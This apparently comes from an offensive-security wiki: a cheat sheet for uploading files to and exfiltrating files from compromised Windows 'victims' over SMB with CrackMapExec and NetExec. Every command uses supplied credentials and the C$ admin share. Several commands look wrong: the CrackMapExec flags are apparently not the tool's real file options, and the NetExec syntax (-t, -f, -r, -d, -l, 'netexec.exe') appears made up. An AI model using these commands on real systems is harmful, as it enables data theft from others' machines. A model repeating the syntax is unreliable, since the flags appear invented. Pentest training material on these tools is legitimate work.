> For the complete documentation index, see [llms.txt](https://zero-day-archives.gitbook.io/zero-day-archives/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zero-day-archives.gitbook.io/zero-day-archives/transporting-files-to-from-victims/transferring-files-to-from-high-value-targets/crackmapexec-netexec.md).

# CrackMapExec (NetExec)

Below is a cheat sheet for transporting files using **CrackMapExec (CME)** and **Netexec** during post-exploitation. These tools are widely used in penetration testing, especially when working with SMB and remote systems in Windows environments.

#### **Uploading Files to Victims Using CrackMapExec and Netexec**

**1. CrackMapExec (CME) - Uploading Files**

CrackMapExec is a popular tool for interacting with SMB shares and automating tasks like file transfers, enumeration, and exploitation. It can be used to upload files to remote systems that are accessible via SMB.

**Attacking Machine Command (Upload File using CrackMapExec):**

```bash
crackmapexec smb 10.10.10.10 -u username -p password --upload /path/to/local/file.txt C$\\path\\to\\remote\\file.txt
```

*Explanation:*

* `crackmapexec smb` tells CME to use SMB protocol.
* `10.10.10.10` is the IP address of the victim machine.
* `-u username -p password` specifies the credentials.
* `--upload /path/to/local/file.txt C$\\path\\to\\remote\\file.txt` uploads a local file to the remote machine using the `C$` share (administrative share). The destination path is specified after `C$`.

**2. Netexec - Uploading Files**

Netexec is another tool that facilitates command execution and file transfers. It allows users to upload files to remote systems over SMB.

**Attacking Machine Command (Upload File using Netexec):**

```bash
netexec -t 10.10.10.10 -u username -p password -f /path/to/local/file.txt -r C$\\path\\to\\remote\\file.txt
```

*Explanation:*

* `netexec.exe` is the command-line tool used for execution.
* `-t 10.10.10.10` specifies the target victim machine’s IP address.
* `-u username -p password` provides the necessary credentials for authentication.
* `-f /path/to/local/file.txt` specifies the local file to be uploaded.
* `-r C$\\path\\to\\remote\\file.txt` specifies the destination path on the remote machine.

***

#### **Downloading Files from Victims Using CrackMapExec and Netexec**

**1. CrackMapExec (CME) - Downloading Files**

CrackMapExec can also be used to download files from remote systems over SMB. This can be useful for exfiltrating data after successful exploitation.

**Attacking Machine Command (Download File using CrackMapExec):**

```bash
crackmapexec smb 10.10.10.10 -u username -p password --download C$\\path\\to\\remote\\file.txt /path/to/local/file.txt
```

*Explanation:*

* `--download C$\\path\\to\\remote\\file.txt /path/to/local/file.txt` specifies that the file located at the given remote path will be downloaded to the specified local path.

**2. Netexec - Downloading Files**

Netexec can also be used to download files from the victim system. This is useful for extracting valuable files during a post-exploitation phase.

**Attacking Machine Command (Download File using Netexec):**

```bash
netexec.exe -t 10.10.10.10 -u username -p password -d C$\\path\\to\\remote\\file.txt -l /path/to/local/file.txt
```

*Explanation:*

* `-d C$\\path\\to\\remote\\file.txt` specifies the remote file to be downloaded.
* `-l /path/to/local/file.txt` defines where the downloaded file will be saved on the attacking machine.

***